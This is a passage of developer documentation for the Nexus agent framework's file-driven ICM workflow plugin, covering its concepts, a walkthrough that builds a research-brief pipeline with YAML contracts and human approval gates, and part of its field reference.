  • Is it a multi-session concern? If yes, it only belongs in multi-agent / wrapper scopes — don’t back-port to single-agent shells that are session-scoped.

12. Reference quick-lookup

SituationReach for
Add a list panel§5.2 nav/list item + §3.2 spacing (256px for sessions, 224px for trees)
Add a new form field§5.5 forms + §7.4 settings schema
Show async progress§5.9 loading states
Signal something’s happening in backgroundanimate-pulse on a status dot, loading-dots in chat
A destination that doesn’t exist yet§5.8 empty states
Destructive action§5.1 buttons + §8.2 hover reveal
Confirm a changeDon’t add a modal; use inline “Unsaved” + blur-to-save
Show a generated document§5.13 markdown preview + §5.14 split editor
Show ranked results§5.3 candidate card
Offer drag-and-drop§5.12 drag-and-drop
Switch views/modes§5.1 btn-group (three-way), or single primary/ghost toggle

13. Glossary

TermMeaning in this system
AgentA domain-specific AI workflow embedded in the desktop app. Has its own engine, UI section, and (optionally) settings schema.
ShellThe desktop wrapper (pkg/desktop/shell.go) that manages agents, sessions, settings, file portal.
EngineThe Nexus core that runs an agent’s plugins. Each agent has its own.
SessionOne run of an agent. Can be recalled, deleted, listed per agent.
BusThe event bus inside an engine. createBus(agentID) wraps Wails events into a scoped JS adapter.
PluginComposable behavior inside an engine. UI never calls plugins directly — only via bus events.
Input dir / output dirPer-agent folders for file I/O, declared as settings and managed by the shell’s file portal.
PhaseOne step in a single-agent workflow app. Sequential, gated by prior completion.
ArtifactA piece of output from a phase — document, epic, story, timeline, comms entry.
Scoped event channel{agentID}:nexus and {agentID}:nexus.input — Wails events namespaced by agent for multi-agent isolation.
wails-dragCSS class applied to window chrome to make it OS-draggable.
doc-previewCSS class applied to rendered markdown containers.

ICM Workflows — Overview

Nexus ships an agent loop for file-driven multi-stage workflows: nexus.workflows.icm. The shorthand for what it does is short — a folder on disk is your workflow — but the consequences are worth a section of its own. This page makes the case for the feature and gives you the mental model needed to read the walkthrough and the plugin reference without getting lost.

What is ICM?

ICM is short for Interpretable Context Methodology (Van Clief & McDermott, arXiv:2603.16021). The methodology argues that production LLM workflows should be assembled out of small, human-reviewable contracts rather than handed off to one large, opinionated agent loop. Each step has a written brief, declared inputs, a single declared output, and validators that decide whether the step is done. The methodology is paper-shaped — the Nexus plugin gives it a runtime.

The plugin reduces the methodology to a single rule: the workflow is a folder on disk. Stages are subfolders. Contracts are markdown files with YAML frontmatter. Predicates are inline. Skills are subfolders. Artifacts land in the session directory at run time, never in the workspace.

~/work/screenplay-pipeline/
  workspace.md              # the brief — required, non-empty
  stages/
    01_outline/contract.md  # YAML frontmatter + body
    02_script/contract.md
    03_review/contract.md
  shared/skills/...         # optional reusable bundles
  scripts/...               # optional command predicates
  rubrics/...               # optional LLM-judge rubrics

That folder is the entire workflow. The plugin loads + validates the workspace at boot, derives one AgentPosture per stage, and dispatches each stage as a sub-agent through a private delegate.Runtime whenever an io.input arrives.

Why this deserves its own surface

A normal ReAct agent is excellent at exploratory work — give it a goal and some tools and let it churn. But three pressures push real workflows past what a single ReAct loop can hold:

  1. Repeatability. A research pipeline that runs every Monday morning needs the same shape every time. Free-form ReAct drift makes “the same shape” hard to guarantee.
  2. Reviewability. Stakeholders need to read what the agent will do before it runs, not infer it from a transcript afterward.
  3. Surgical iteration. When stage 3 is wrong, you want to fix stage 3 in isolation — not re-prompt a system message that drives all 7 stages.

The nexus.workflows.icm plugin solves all three by making the workflow a literal folder you can read, diff, and ship. It also proves a deeper claim about Nexus’s design:

A non-trivial multi-stage agent system can be expressed without writing Go. Posture registration, sub-agent dispatch, schema-validated outputs, HITL gates, loop convergence, and fan-out parallelism are already in the engine — you compose them with YAML and markdown.

This is the first plugin to combine all of them. The walkthrough exists because doing so end-to-end is a worked example for everything Nexus offers, not because the ICM plugin itself is unusually complex.

Mental model

Three vocabulary boundaries decide whether the docs read clearly.

Workspace, run, session

ConceptLives atLifespan
Workspace<your workspace dir>/ (anywhere on disk)Authored once; edits land in source control.
Run<engine session>/plugins/<instance>/<runID>/One per io.input; ephemeral.
Session~/.nexus/sessions/<id>/One engine boot.

The workspace is the source of truth for the workflow; the run directory is the source of truth for the artifacts. Edits to the workspace are authoring; edits to a run directory are tampering. Treating them as different objects is the single biggest reason the plugin’s surface stays simple.

Stage, iteration, turn, item

A stage is one folder with one contract.md. Inside a stage’s lifetime three nested loops are possible:

  • Turns — the inner conversation. turns.policy: fixed | until_valid | until_human_approves. A turn is one LLM call within a single stage invocation.
  • Iterations — convergence loops. loop.max_iterations: N with until predicates. The entire stage runs as a fresh invocation each iteration, with the prior iteration’s exit failures included in the next payload.
  • Items — data-driven fan-out. fan_out.source: ... points at a JSON array produced by an earlier stage; the stage runs once per item, up to max_parallel concurrently.

Turns sit inside iterations, iterations sit inside the stage, and fan-out is the stage being dispatched once per item. You almost never mix all three in a single stage — but the orchestrator supports it because fan-out + loop composes cleanly (each item independently iterates).

Posture, delegate, predicate

These are reused engine concepts; ICM does not reinvent any of them.

  • Posturepkg/posture.AgentPosture from nexus.agent.postures. ICM derives one per stage at Ready(), layering operator prompt + body
    • overlay + tools + budget on top of a base posture, then registers it.
  • Delegatepkg/delegate.Runtime. The same primitive delegate plugin uses to dispatch sub-agents. ICM keeps its own private delegate.Runtime so workflow stages don’t pollute caller tool budgets.
  • Predicate — the unified shape used by output.validators, loop.until, and verifier outputs. Six types: schema, regex, native, command, llm, human. The loader compiles each at boot.

If you’ve configured postures + delegate + HITL + the schema registry before, ICM should feel like wiring those four together into a single user surface.

What ICM is not

It is not a replacement for nexus.agent.react or nexus.agent.orchestrator. They solve different problems:

NeedUse
Open-ended exploration with toolsnexus.agent.react
Decompose-then-parallelize one big requestnexus.agent.orchestrator
Plan first, then execute the plannexus.agent.planexec
Same N-step shape every time, reviewable in source controlnexus.workflows.icm
Embed a workflow inside a desktop appICM as the agent loop, your shell as the chrome

It is not a new abstraction over LLM providers. Every model call routes through delegate (sub-agents) or through the configured judge posture (LLM predicates). It does not mutate the workspace — artifacts live in the session. It does not auto-discover skills from nexus.skills.scan_paths — skills live under the workspace and are loaded only when a stage’s inputs.skills references them.

What you get out of the box

The plugin is fully implemented today. The walkthrough exercises everything in this list:

  • Workspace + contract loader with aggregated validation errors (boot once to see every problem, fix in one pass).
  • One derived AgentPosture per stage, registered before the engine finishes boot. Tools, model role, budget, and operator prompt are baked in.
  • Stage-level plan.created + plan.progress surface so generic UIs render the workflow without ICM-specific knowledge, plus a richer icm.* event family for iteration / turn / item detail.
  • Six predicate types with four shipped native handlers (word_count_under, word_count_over, contains_required_ids, json_path_exists).
  • Loop convergence with on_exhausted: human_gate | error and a configurable restart ceiling.
  • Fan-out with optional parallelism, per-item folders, and an aggregate artifact downstream stages can reference.
  • Per-workspace skill resolution (stages/<NN>/skills/<name> wins over shared/skills/<name>) plus an LLM-facing read_skill_reference tool that surfaces only when a stage actually uses skills.
  • Multi-instance support via nexus.workflows.icm/<suffix> so two workspaces can coexist in one engine.

Authoring tools

You do not need to write contracts by hand. The repo ships a Claude Code skill that interviews you about the workflow you want, validates each answer against the loader’s rules, and writes a workspace that loads on the first try:

  • .claude/skills/icm-workspace-builder/SKILL.md — invoke with /icm-workspace-builder once the skills plugin is configured to scan .claude/skills/. The skill enforces the same rules the loader does (folder regex, reserved 00_input, predicate args, fan-out sources).

The walkthrough is hand-authored so you can read every file; the skill is the on-ramp for everything else.

Where to go next

ICM Workflows — End-to-End Walkthrough

This page builds a working ICM workspace from an empty folder, runs it through Nexus, and shows you exactly what to expect at each step: the events that fire, the files that land on disk, the human gates that pause the run, and the failure modes that bite first-time authors.

The example is a two-stage research brief pipeline. Stage 1 produces an outline from a topic; stage 2 expands the outline into a brief, looping until the brief passes a word-count rubric. It is deliberately small enough to fit on one screen and deliberately rich enough to exercise loops, predicates, human gates, and the full event surface.

By the end of this walkthrough you will have:

  • A working workspace under ~/work/research-brief/.
  • A Nexus config that wires posture + delegate + HITL + ICM.
  • A bin/nexus session that runs the workflow end-to-end against a real LLM provider.
  • Familiarity with the exact icm.* events that drive any UI you build on top.

If you only want to read the surface area, the overview is the conceptual map and the plugin reference is the field-by-field manual. This page sits between them.

Prerequisites

You need:

  1. A built bin/nexus. From the repo root: make build.
  2. An LLM provider API key in env or a .env file. The walkthrough uses ANTHROPIC_API_KEY; switch to OPENAI_API_KEY or GEMINI_API_KEY if you prefer — the workspace itself is provider-agnostic because every stage names a model_role, not a raw model.
  3. A place to put the workspace. The walkthrough uses ~/work/research-brief/; adjust paths as needed.

You do not need an existing posture library. Step 1 below ships a minimal two-posture file you can copy into place.

Step 1 — Provision postures

ICM derives one posture per stage at boot, but each derived posture inherits from a base posture registered with nexus.agent.postures. Wire a minimal two-posture library so the workflow has somewhere to stand:

mkdir -p ~/.nexus/postures

~/.nexus/postures/writer_base.yaml:

name: writer_base
description: Long-form writing posture for ICM stages.
system_prompt: |
  You are a writer. Follow the stage contract exactly. Produce one
  artifact in the format the contract specifies. Do not add
  commentary outside the artifact.
allowed_tools: []
model:
  model_role: writer
default_budget:
  timeout: 180s
  max_tokens: 8000

~/.nexus/postures/judge_basic.yaml:

name: judge_basic
description: JSON-verdict judge for ICM `type: llm` predicates.
system_prompt: |
  You judge an artifact against a rubric and return a JSON verdict.
  Output only JSON conforming to the icm.judge.response schema.
allowed_tools: []
model:
  model_role: judge
default_budget:
  timeout: 60s
  max_tokens: 2000

The names matter — the workspace references them by name. The model_role fields route to whatever your core.models config maps writer and judge to. A single-provider setup with one model is fine; map both roles to the same model entry.

Step 2 — Author the workspace

Create the workspace folder. Every path inside is required unless flagged optional.

mkdir -p ~/work/research-brief/stages/01_outline
mkdir -p ~/work/research-brief/stages/02_brief
mkdir -p ~/work/research-brief/rubrics

Workspace brief

~/work/research-brief/workspace.md:

# Research Brief Pipeline

A two-stage research pipeline. Stage 1 reads a topic and produces a
five-point outline. Stage 2 expands the outline into a brief between
600 and 1200 words. The brief loops until a writer-judge agrees it
covers every outline point.

Required, non-empty. Shows up at the top of every operator prompt so the stage agent knows where it sits in the larger workflow.

Workspace defaults

~/work/research-brief/icm.yaml is optional but useful for shared defaults:

defaults:
  agent:
    posture: writer_base
    model_role: writer
  judge_posture: judge_basic

Anything a stage doesn’t override falls back here, then to plugin defaults.

Stage 1 — outline

~/work/research-brief/stages/01_outline/contract.md:

---
display: Outline the brief in five bullets
turns:
  policy: fixed
  max: 1
human_gate: end
output:
  format: text
  filename: outline.md
  validators:
    - type: native
      handler: contains_required_ids
      args:
        ids: ["1.", "2.", "3.", "4.", "5."]
inputs:
  artifacts:
    - 00_input/topic.txt
---

Read the topic in `<artifact path="00_input/topic.txt"/>`. Produce a
markdown outline with exactly five numbered points. Each point is one
sentence. No prose around the list.

What this does:

  • turns.policy: fixed, max: 1 — one LLM call, no retry.
  • human_gate: end — pause after the artifact is written so the human can approve before stage 2 starts.
  • contains_required_ids validator — refuses any output that drops one of the five numbered points. Without until_valid semantics this just surfaces as icm.predicate.failed; we keep it for visibility.
  • inputs.artifacts: 00_input/topic.txt — the reserved 00_input namespace is where io.input content lands.

Stage 2 — brief

~/work/research-brief/stages/02_brief/contract.md:

---
display: Expand the outline into a 600-1200 word brief
turns:
  policy: until_valid
  max: 3
human_gate: end
output:
  format: text
  filename: brief.md
  validators:
    - type: native
      handler: word_count_over
      args:
        min_words: 600
    - type: native
      handler: word_count_under
      args:
        max_words: 1200
loop:
  max_iterations: 3
  until:
    - type: llm
      rubric: rubrics/coverage.md
  on_exhausted: human_gate
inputs:
  artifacts:
    - 01_outline/outline.md
agent:
  budget:
    max_tokens: 4000
---

Expand the outline in `<artifact path="01_outline/outline.md"/>` into a
research brief between 600 and 1200 words. Cover every outline point.
Use a brief introduction, one paragraph per point, and a one-sentence
conclusion. Markdown allowed.

This stage exercises three loops at once:

  • Turnsuntil_valid retries up to 3 times within an iteration if the word-count validators fail. The retry payload includes the prior attempt’s failure feedback.
  • Iterationsloop.max_iterations: 3 reruns the entire stage if the coverage.md LLM rubric is not satisfied. Each iteration writes its artifact to 02_brief/iter_NN/brief.md.
  • Human gatehuman_gate: end pauses after the loop exits so the human can approve, restart, or fail.

Rubric

~/work/research-brief/rubrics/coverage.md:

The brief passes coverage when every numbered point in the outline is
addressed in its own paragraph. A point that is mentioned but not
expanded is a failure. Return JSON only.

The judge posture (judge_basic) sees this rubric plus the candidate artifact and must return JSON conforming to the baked-in icm.judge.response schema (verdict + score + feedback).

Step 3 — Wire the Nexus config

~/work/research-brief.yaml:

core:
  models:
    default: writer
    writer:
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 8192
    judge:
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 2048

plugins:
  active:
    - nexus.io.tui
    - nexus.llm.anthropic
    - nexus.agent.postures
    - nexus.agent.delegate
    - nexus.control.hitl
    - nexus.memory.capped
    - nexus.workflows.icm

  nexus.agent.postures:
    scan_dirs:
      - ~/.nexus/postures

  nexus.workflows.icm:
    workspace: ~/work/research-brief
    default_judge_posture: judge_basic
    default_workflow_posture: writer_base

Note what’s not here: no nexus.agent.react, no nexus.agent.orchestrator, no separate planner. ICM is itself the agent loop — when io.input arrives it owns the conversation until the run completes.

Two config details worth double-checking before you run:

  • The provider: value in each core.models entry takes the full plugin ID (nexus.llm.anthropic), not a short name like anthropic. Wrong provider IDs surface at runtime as “delegate status error: no LLM response (provider not active for this role?)”.
  • Every role a posture references must be defined. The writer_base posture above declares model_role: writer, and judge_basic declares model_role: judge, so core.models must define both.

Step 4 — Run it

Start the TUI:

bin/nexus -config ~/work/research-brief.yaml

At the prompt, type a topic — the economics of mechanical keyboards, say — and hit enter.

You will see this sequence of events. The TUI renders the plan progress inline; richer UIs subscribe to the typed events documented in the plugin reference.

io.input                            { content: "the economics of mechanical keyboards" }
plan.created                        { steps: 2 (01_outline, 02_brief) }
icm.run.started                     { run_id: r_<id>, stages: 2 }
plan.progress                       { step: 01_outline, status: active }
icm.stage.started                   { stage_id: 01_outline, order: 1 }
llm.request → llm.response          (stage 1 turn 1)
icm.turn                            { stage_id: 01_outline, turn: 1 }
hitl.requested                      { action: icm.stage.end, stage_id: 01_outline }

The run pauses at hitl.requested. The TUI surfaces a prompt with three choices: continue, restart this stage, abort the run. Press continue.

hitl.responded                      { action: icm.stage.end, choice: continue }
plan.progress                       { step: 01_outline, status: completed }
icm.stage.completed                 { stage_id: 01_outline, artifact_path: ... }
plan.progress                       { step: 02_brief, status: active }
icm.stage.started                   { stage_id: 02_brief, order: 2 }
icm.stage.iteration                 { iteration: 1, max: 3 }
llm.request → llm.response          (stage 2 iter 1 turn 1)

If stage 2’s first attempt is under 600 words, the until_valid retry fires inside the same iteration. If three turns can’t satisfy the word count, the iteration writes its best attempt to 02_brief/iter_01/brief.md and the LLM judge runs against the coverage.md rubric. If the judge says no, iteration 2 starts.

What if the loop exhausts?

Likely on the first run. The coverage.md rubric in this walkthrough is deliberately strict — “every numbered point in the outline is addressed in its own paragraph” — and small judge models often read that too literally and reject an otherwise fine brief. When the loop hits loop.max_iterations: 3 without converging, on_exhausted: human_gate fires a HITL prompt:

Loop on stage Expand the outline... did not converge after 3 iterations.

  1. Accept handoff   — take the last iteration's brief as the artifact
  2. Restart loop     — wipe iter_*/, run the whole loop again
  3. Reject           — fail the stage and halt the run

Pick Accept handoff if the actual brief reads well. The judge being picky shouldn’t gate you. Before deciding, inspect the per-iteration artifacts and the judge’s verdicts on disk:

ls ~/.nexus/sessions/*/plugins/nexus.workflows.icm/r_*/02_brief/iter_*/
cat ~/.nexus/sessions/*/plugins/nexus.workflows.icm/r_*/02_brief/iter_03/brief.md.icm.json

The .icm.json sidecar carries each iteration’s verdict + feedback so you can tell whether the brief is genuinely weak or the rubric is unreasonable. If you keep hitting this every run, three knobs (in ascending effort):

  1. Loosen the rubric in rubrics/coverage.md“each outline point is addressed somewhere in the body; interleaved coverage is fine.”
  2. Use a stronger judge — point the judge model_role at a more capable model. Judge calls are single-shot, so cost impact is small.
  3. Drop the LLM rubric from loop.until and keep only the word-count native validators. Move the LLM check to a verifiers/ entry instead — failures get logged but don’t loop.

When the loop exits — convergent or exhausted-then-accepted — human_gate: end fires again. Approve, and:

icm.stage.completed                 { stage_id: 02_brief, iterations_run: 2, convergence_failed: false }
icm.run.completed                   { stages_run: 2, elapsed_seconds: 47 }

Step 5 — Inspect the run

Every artifact, every iteration, and every per-artifact sidecar lives in the engine session under <session>/plugins/nexus.workflows.icm/<runID>/:

~/.nexus/sessions/<sid>/plugins/nexus.workflows.icm/r_<runID>/
  .icm/
    run.json              # workspace path, started at, plan
    state.json            # per-stage progress
  00_input/
    topic.txt             # what you typed
  01_outline/
    outline.md
    outline.md.icm.json   # sidecar: writer + validator results
  02_brief/
    iter_01/
      brief.md
      brief.md.icm.json
    iter_02/
      brief.md
      brief.md.icm.json
    brief.md              # aggregate (last iteration after convergence)
    brief.md.icm.json

The sidecar files (.icm.json) record which posture wrote the artifact and which validators passed or failed. They are how downstream tooling can answer “why did stage 2 take two iterations?” without re-reading the artifact.

You can re-run the workflow on a different topic by sending another io.input. ICM creates a fresh r_<runID> directory; prior runs are untouched.

Step 6 — Watch a failure

Edit ~/work/research-brief/stages/01_outline/contract.md and change filename: outline.md to filename: outline/v1.md. Restart Nexus.

workspace load failed (1 errors):
  stages/01_outline/contract.md: output.filename must not contain path
  separators (got "outline/v1.md")

ICM aggregates every validation error into one message at boot so you can fix all of them in a single pass instead of restart-fix-restart cycles. Revert the change and ICM boots cleanly.

Other failure modes worth provoking once for muscle memory:

  • Duplicate stage prefix (01_outline + 01_summary) — boot fails with “duplicate stage prefix 01”.
  • A type: llm predicate with no default_judge_posture configured — runtime fails the predicate with “default_judge_posture is not configured”.
  • An inputs.artifacts ref to a later stage (02_brief/... inside 01_outline/contract.md) — boot fails at load.

Each failure surfaces with the workspace-relative path + line number.

Step 7 — Iterate the workspace

The workflow you just built is the floor. Everything else ICM offers is incremental:

  • Add a fan-out stage. Replace the brief stage’s monolithic output with one paragraph per outline point. Produce a topics.json from stage 1 and fan_out.source: 01_outline/topics.json from stage 2.
  • Add a type: command predicate. Drop a scripts/lint_brief.sh into the workspace, mark it executable, and reference it from stage 2’s validators. The script reads the artifact on stdin and exits 0/non-0.
  • Add skills. Put a shared/skills/house_voice/SKILL.md under the workspace and reference it from stages/02_brief/contract.md via inputs.skills: [house_voice]. The skill body inlines into the grounding; references load on demand via the read_skill_reference tool.
  • Add verifiers. Move the rubric check out of stage 2’s loop and into a reusable verifiers/coverage.md. Stages that need coverage reference it via top-level verifiers: [coverage].

Each is one or two contract edits. The walkthrough deliberately stops short of all of them so the on-ramp stays short; the plugin reference covers each in detail.

Using the workspace builder skill

If hand-authoring contracts feels tedious, the .claude/skills/icm-workspace-builder/SKILL.md skill interviews you for the workflow shape and writes the workspace for you. Invoke it via the configured Claude Code skill surface — the skill validates each answer against the same loader rules above and produces a workspace that boots cleanly on the first try.

What you proved

  • A non-trivial agent workflow — two stages, loop convergence, an LLM judge, native validators, a human gate, and a 00_input initial artifact — fit in five files under 100 lines.
  • The same workflow runs in any IO surface Nexus supports (TUI, browser, oneshot, wails) without a code change. Adding a new IO means activating a new plugin, not modifying the workspace.
  • The icm.* event surface plus the engine-generic plan.* events give any UI everything it needs to render workflow progress, including fan-out items and loop iterations.
  • The workspace is source-control-friendly — every change to the workflow is a markdown / YAML diff you can review on a PR.

Where to go next

  • Overview — the rationale, the mental model, the full list of orthogonal features.
  • Plugin reference — every contract field, predicate type, event payload, and troubleshooting case.
  • Configuration reference — every plugin config key with defaults.
  • Postures — the base postures stages inherit from.
  • HITL — how human gates route.

nexus.workflows.icm

File-driven multi-stage workflow runner. A workspace is a folder on disk: each stage is a subfolder with a YAML-fronted contract, optional grounding, optional skills, and a declared output. The plugin loads + validates the workspace at boot, registers one AgentPosture per stage, and dispatches each stage as a sub-agent via a private delegate.Runtime whenever an io.input arrives.

Source: plugins/workflows/icm/. New to ICM? Start with the overview for the rationale + mental model, then follow the end-to-end walkthrough to build a workspace from scratch. This page is the field-by-field reference. Configuration table: configuration reference.

Overview

ICM (Interpretable Context Methodology, Van Clief & McDermott, arXiv:2603.16021) treats an LLM workflow as a sequence of small, human-reviewable contracts rather than one big agent loop. The Nexus implementation reduces a workspace to disk structure: the loader parses contracts, compiles regex + gojq + JSON-schema at load time, and the orchestrator dispatches stages strictly in folder-numeric order.

What the plugin does:

  • Resolves posture.registry (provided by nexus.agent.postures) at boot.
  • Loads + validates the workspace; aggregates errors so the user can fix in one pass.
  • Derives one AgentPosture per stage and per verifier; tools, model role, budget, and operator prompt are baked in at registration.
  • Subscribes to io.input. Each input begins a fresh run with its own <runID> directory under the plugin’s data dir.
  • Dispatches stages as sub-agents through a private delegate.Runtime. Stages never talk to one another — they read declared inputs and write declared outputs through the session helper.
  • Emits a stage-level plan.created + plan.progress surface plus a richer icm.* event family for iteration / turn / fan-out detail.
  • Routes every human checkpoint through hitl.requested; cancellation is surfaced via hitl.cancel.

What the plugin does NOT do:

  • It does not directly call an LLM provider. Every model call routes through delegate (sub-agents) or through the configured judge posture (LLM predicates).
  • It does not mutate the workspace. Artifacts live in the session directory.
  • It does not auto-discover skills. Skills are loaded from the stage-local skills/ and shared/skills/ folders inside the workspace.

Quick start

  1. Add the plugin to plugins.active and point it at a workspace.
plugins:
  active:
    - nexus.agent.postures
    - nexus.control.hitl
    - nexus.workflows.icm

  nexus.workflows.icm:
    workspace: ~/work/screenplay-pipeline
    default_judge_posture: judge_strict
    default_workflow_posture: workflow_base
  1. Scaffold the workspace. Below is a working three-stage screenplay pipeline. Every file shown is necessary; everything else is optional.
~/work/screenplay-pipeline/
  workspace.md
  stages/
    01_outline/
      contract.md
    02_script/
      contract.md
    03_review/
      contract.md

workspace.md — required, non-empty. Describes the workflow at the highest level. Surfaces to the operator prompt and to anyone reading the folder.

# Screenplay Pipeline

A three-stage pipeline that converts a one-line premise into a short-form
screenplay: outline, draft, peer review. Each stage hands a single artifact
to the next; humans gate the start and end of every stage.

stages/01_outline/contract.md — YAML frontmatter then process body. The body is rendered into the operator system prompt for this stage.

---
display: Outline a three-act structure
turns:
  policy: fixed
  max: 1
human_gate: end
output:
  format: text
  filename: outline.md
inputs:
  artifacts:
    - 00_input/premise.txt
agent:
  model_role: writer
  budget:
    max_tokens: 4000
---

Read the premise in `<artifact path="00_input/premise.txt"/>`. Write a
three-act outline with beat counts per act. No prose. Markdown headings
allowed.

stages/02_script/contract.md — consumes the outline; loops up to three times until the validator passes.

---
display: Draft the screenplay
turns:
  policy: until_valid
  max: 3
human_gate: end
output:
  format: text
  filename: script.md
  validators:
    - type: native
      handler: word_count_over
      args: { min_words: 800 }
    - type: native
      handler: word_count_under
      args: { max_words: 2400 }
inputs:
  artifacts:
    - 01_outline/outline.md
agent:
  model_role: writer
  budget:
    max_tokens: 8000
---

Expand the outline in `<artifact path="01_outline/outline.md"/>` into a
screenplay between 800 and 2400 words. Use industry-standard formatting
(INT./EXT., character names in caps before dialogue).

stages/03_review/contract.md — judges the script with an LLM rubric.

---
display: Peer review the screenplay
turns:
  policy: fixed
  max: 1
human_gate: none
output:
  format: text
  filename: review.md
  validators:
    - type: llm
      rubric: rubrics/review_quality.md
      model: judge_strict
inputs:
  artifacts:
    - 02_script/script.md
agent:
  model_role: reviewer
---

Read the script in `<artifact path="02_script/script.md"/>`. Produce a
review covering structure, character voice, dialogue, and pacing. Be
specific; cite scene numbers.
  1. Start Nexus. Send the initial premise via io.input (the engine writes it to <runID>/00_input/premise.txt). ICM creates the run, dispatches stage 01, gates at its end via HITL, then continues.

Workspace layout

The workspace is the source of truth for the workflow; artifacts are the source of truth for the run. They live in different directories.

<workspace>/
  icm.yaml                  optional — layer name overrides + defaults
  operator.md               optional — Layer 0 operator prompt template
  operator.overlay.md       optional — appended to operator body
  workspace.md              required — high-level workflow description
  stages/
    01_<slug>/
      contract.md           required per stage
      grounding/            optional — reference files inline at dispatch
      skills/<name>/        optional — stage-local skills
    02_<slug>/...
  shared/
    grounding/              optional — cross-stage reference files
    skills/<name>/          optional — workspace-wide skills
  schemas/                  optional — JSON schemas referenced from contracts
  scripts/                  optional — command-predicate executables
  rubrics/                  optional — LLM-predicate rubric files
  verifiers/                optional — verifier stage definitions
  inputs/                   optional — initial-run input fixtures

Folder-name rules enforced by the loader:

  • Stage folders match ^\d+_[a-z0-9_]+$. Execution order is the numeric prefix, sorted numerically (so 9_x runs before 10_x).
  • 00_input is reserved — it names the synthetic input stage in artifact refs. Declaring a stage folder named 00_input is a load error.
  • Duplicate numeric prefixes (05_foo + 05_bar) are rejected: execution order would be ambiguous.
  • A stage folder containing an artifacts/ subdirectory is rejected. Artifacts live in the session, not the workspace.

icm.yaml

icm.yaml is optional. When present it overrides any subset of the layer filenames and supplies workspace-level defaults that stages inherit unless they override.

# All sections are optional.
layer_names:
  operator: operator.md       # default
  workspace: workspace.md     # default
  contract: contract.md       # default
  grounding: grounding        # default (folder name)

defaults:
  turn_policy: fixed          # fixed | until_valid | until_human_approves
  human_gate: none            # none | start | end | both
  on_error: halt              # halt | retry | human_gate
  judge_posture: judge_basic  # used for type: llm predicates with no `model:`
  agent:
    posture: workflow_base    # base posture each stage inherits
    model_role: writer
    tools: [read_file]
    budget:
      timeout_seconds: 120
      max_tokens: 8000
      max_tool_calls: 16
    max_recursion_depth: 3

operator:
  overlay: |
    Always cite section numbers when referencing scripts.

The judge posture and base workflow posture can also be configured at the plugin level (default_judge_posture, default_workflow_posture). The plugin-level keys win when both are set.

operator.md and operator.overlay.md are rendered once per stage, at posture-registration time — not on every turn — as a Go text/template against OperatorTemplateCtx, which exposes .Workspace, .Stage, and .Context: the session’s current general-namespace (non-_-prefixed) tags, usable in the template as {{ .Context.<key> }}. Because it renders once, .Context only reflects the tags set by the time the workspace loads — a tag written mid-run needs the per-turn <session_context> block described in XML payload reference, not operator.md, to reach a stage that has already started. See Session Tags for the reserved-prefix rule .Context shares with every other consumer of session tags.

Stage contracts

Each stage is a single file: contract.md. It is YAML frontmatter (between --- lines) followed by a markdown body. The body is the stage’s role instructions — it is rendered into the operator system prompt at dispatch time. Verifiers may be a single .md file directly under verifiers/ with the same shape.

Frontmatter

FieldTypeDefaultNotes
idstringfolder nameWhen set, must match folder name.
displaystringfirst body line or IDTruncated to 80 chars.
turnsobjectsee TurnsInner-loop policy.
human_gatestringnonenone / start / end / both.
on_errorstringhaltNon-validator failure policy.
loopobject(none)Convergence-driven iteration.
fan_outobject(none)Data-driven iteration.
outputobject(required)Artifact + validators.
inputsobject(none)Files the stage reads.
agentobjectinheritsPosture + tools + budget.
verifierslist(none)Cross-stage verifier IDs.

Output spec

output declares the file the stage writes and any validators that run against it. Validators that fail under turns.policy: until_valid trigger a retry; under any other policy they surface as icm.predicate.failed and (depending on on_error) may halt the run.

output:
  format: text                  # text (default) | json
  persist: file_ref             # file_ref (default) | context | both
  filename: outline.md          # required; no path separators
  schema: schemas/outline.json  # required when format: json
  validators:
    - type: regex
      pattern: '^# '
      anchor: first_line
      message: "Outline must begin with an H1."

persist: file_ref writes the artifact and references it by logical ref downstream. context keeps the body in conversation context only (use sparingly — large bodies bloat downstream turns). both does both. JSON outputs always parse + validate against schema before the validators run.

Inputs

inputs declares what files the stage reads. The loader verifies each path exists at boot.

inputs:
  grounding:
    - style_guide.md            # under <stage>/grounding/
    - examples/sample_act_1.md
  shared_grounding:
    - house_voice.md            # under shared/grounding/
  artifacts:
    - 00_input/premise.txt      # initial input from io.input
    - 01_outline/outline.md     # prior stage's declared output
  skills:
    - markdown-screenplay       # resolved through skill precedence

Artifact refs are validated cross-stage at load: the referenced stage must run before this one, and the filename must match that stage’s output.filename. The reserved 00_input/... prefix points at files copied into the session by io.input (or by workspace_inputs_dir).

Inline-vs-ref selection happens at dispatch: artifacts under inline_artifact_limit_bytes (default 32 KiB) inline as <artifact>; larger or binary content emits <artifact_ref/> and the LLM picks it up via read_file.

Agent block (posture, model_role, tools, budget)

Stage-level agent fields override workspace defaults; absent fields fall through to defaults, then to the registry defaults at runtime.

agent:
  posture: writer_posture       # optional; existence checked at runtime
  model_role: writer            # role into the engine model registry
  tools:                        # AllowedTools for this stage's posture
    - read_file
    - run_code
  prompt_overlay: |             # appended to operator body for this stage
    Be concise. Bullet lists over prose.
  budget:
    timeout_seconds: 120
    max_tokens: 8000
    max_tool_calls: 16
  max_recursion_depth: 3        # caps sub-agent nesting

posture is a base posture from nexus.agent.postures. ICM derives a per-stage posture on top of it, layering operator prompt + role body + overlay + tools + budget + skill-tool registration. The derived posture name appears as icm.<runID>.<stage_id> in icm.stage.started events.

auto_include_skill_reference_tool: true (the default) appends the read_skill_reference tool to any stage that declares inputs.skills. For multi-instance setups the tool name becomes read_skill_reference_<suffix> so two ICM instances can coexist in one engine without colliding.

Turns

Turns control the inner loop within a single stage invocation.

turns:
  policy: until_valid      # fixed | until_valid | until_human_approves
  max: 3                   # default 1 for fixed, 3 for until_valid
  • fixed runs max turns unconditionally. Most common.
  • until_valid retries while any validator fails. Requires at least one output.validators entry — the loader rejects the contract otherwise.
  • until_human_approves loops while the human selects continue at the per-turn HITL gate (icm.stage.turn). Free-text feedback from the human arrives in the next turn’s <previous_attempt><human_feedback>.

Human gates

Human gates fire at stage boundaries. They are independent from per-turn loop gates and per-iteration loop predicates.

human_gate: end           # none (default) | start | end | both

start emits a HITL icm.stage.start action before the stage’s first dispatch; end emits icm.stage.end after the artifact is written. The end gate offers a restart choice that wipes the stage directory and re-runs (subject to loop_max_restarts).

For looping stages the gate fires at the bounds of the entire stage, not per iteration. Use a type: human predicate inside loop.until if you need per-iteration human review.

Loops

Loops drive convergence: the entire stage runs as a fresh invocation each iteration, with prior-iteration artifact + exit failures included in the next payload.

loop:
  max_iterations: 5
